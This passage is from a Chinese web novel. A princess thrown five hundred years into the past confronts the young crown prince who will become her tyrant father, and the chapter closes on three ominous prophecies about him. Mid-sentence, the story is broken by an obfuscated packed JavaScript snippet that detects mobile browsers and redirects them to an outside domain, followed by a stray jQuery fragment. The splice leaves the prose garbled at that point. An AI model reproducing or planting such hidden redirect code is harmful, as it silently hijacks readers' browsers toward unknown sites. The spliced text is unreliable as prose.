太子殿下眉头动了动,大概还是第一次见到这么不讲理的人,他只是把她从自己的床上扔了下去而已,她怎么哭得跟个他怎么了她一样。 他抱着手无语道:“你睡的是我的床。” 不仅如此,还强闯他的寝殿,他没第一时间砍了她都算他克制了。 我呆了呆:“这是你的寝殿?” 虞殃好整以暇地望着我,说出来的话让我的脸瞬间爆红:“你在爬我的床吗?” 我沉默了许久,声音细若蚊呐:“我、我不知道这是你的寝殿。” 爹说出来你可能不信但五百年后不光这张床这座宫殿都是我的,还是你亲手赐给我的。 虞殃用一种“别解释了我已经看透你的想法了”的眼神望着我:“哼,爬完老东西的床又想来爬我的床吗?” 太子殿下自觉发现了真相,他饶有兴味地戳了戳我通红的脸,挑剔道:“仗着自己有几分姿色就以为我会上当?哼,愚蠢。” 我这回沉默了许久,然后一巴掌拍开他的手,我捂着脸嗓音颤抖:“你、你……” 虞殃:“哦?我怎么了?” 我恼怒道:“你混蛋!” 我告诉你今日之仇我都记住了,姓虞的我要告诉我爹、呸、我要告诉你爹! 太子殿下难得被人这么不痛不痒地骂,他来了些兴味,哈哈笑道:“你是哪个境的?” 他以为我是长烬帝君抢来的俘虏,我露出高贵端庄的冷笑:“我是你奶奶。” 呵,五百年后我骂不过你,五百年前我还骂不过吗? 太子殿下危险地眯了眯眼,他突然挨近了我,我原本有些得意忘形的瞬间像被泼了盆冷水一样,我紧张地捏了捏手心,我怎么忘了,这位可是位不折不扣的暴君啊,即使现在还没登基,但他未来可是会让四境不得安宁啊。 从前看在我是他女儿的份上没把我拖下去砍头,但现在他可不知道我的身份。 ……话说回来,我还没想好怎么让他相信我是他女儿呢! 父君,我是你未来的女儿,因为一些原因我被杀了然后被人救了但那个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532112|186392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太不靠谱了把我送回过去了…… 这听起来就不像真的! 太子殿下,其实我是你失散多年的女儿,虽然你不记得我但我们确实流着相同的血,不信咱们滴血验亲…… 太扯了吧! 我的表情几经变幻,过于丰富的表情让太子殿下颇感兴趣地挑了挑眉,他弹了弹我的额头,这熟悉的动作让我不由得一愣,从前父君也爱这样弹我额头,我一般敢怒不敢言,任由暴君欺负我,太子殿下表情却很正常,正常地让我忽略了这里是五百年前。 我眼眶有些红,感觉自己触景生情了,一只手擦了擦我的眼泪,我抬头看到虞殃神情莫测地盯着我,太子殿下命令道:“不准哭。” 我、我哭得更厉害了。 虞殃:“……” 太子殿下又弹了弹我的脑袋,我边哭边狠狠瞪他一眼,又不是我想哭的,谁让你和我爹这么像,明明隔了五百年你们怎么连说话的语气都一模一样! 太子殿下盯着我看了我半天,然后突然将手掌盖在我的脸上,我看不清他的神情,只能听到他不容置疑的声音:“不准哭。” 殿外忽然传来动静,有人走了进来,我使劲想挣开覆在脸上的那只手,但怎么也挣不开,我听到一道熟悉的声音。 “太子殿下。” 大司命道:“原来跑到这里来了吗。” 大司命在说谁? 我的眼前突然重见光亮,我看到男人微笑的侧脸:“跟我来吧,陛下在等您。” 他顿了顿:“公主殿下。” 我被大司命牵着走了出去,临走前忍不住回头看了一眼,五百年前的父君看上去脾气依旧很不好,但少了些煞气,他看上去只是脾气有些不好,但没有人看到他会联想到暴君。 五百年前的父君看着我,我一时竟有些不敢面对那样的视线。 我看向身旁的男人,他看上去没有任何变化,明明历任三代帝王却依旧稳居高位,仿佛察觉到了我的视线他微微侧头,朝我露出一个微笑,不知是不是我的错觉,他似乎若有若无地看了眼我的胸前。 “公主是在叫我吗?”我小声地问道。 大司命微笑道:“是。” 前方忽然出现了一道人影,我看见那道人影的时候浑身都僵住了,那是名身着祭司服的女子,黑发及腰,腰间别着铃铛,额间挂着宝石额饰,耳上戴着羽毛似的耳环。 她看了我们一眼,朝大司命点了点头,让开了身子。 她的目光轻盈地像沾水的羽毛,让我浑身都在发烫。 “那是我们南境的大祭司,您可以叫她东君。” …… 玄鸟飞到黑衣人的手上,虞殃盯着上面的消息表情莫测。 几日前西境圣者来觐见长烬帝君,帝君道:“听说你擅长预占?” 圣者道:“是的,陛下。” 长烬帝君大笑道:“那你给他做个卜噬。” 他指着当时在殿上的虞殃。 西境圣者表情平和,她拂了拂袖,望了这对父子一眼,平静道:“三日后,我会送来结果。” 虞殃把玩着手中的木签,三足金乌送来了三则预言。 虞殃随手将木签扔下,火焰点着了木签,上面的字迹也跟着模糊起来。 木签上刻着三句话: 你将举世皆敌。 你将在血与火中登基。 你将死于至亲至爱之人之手。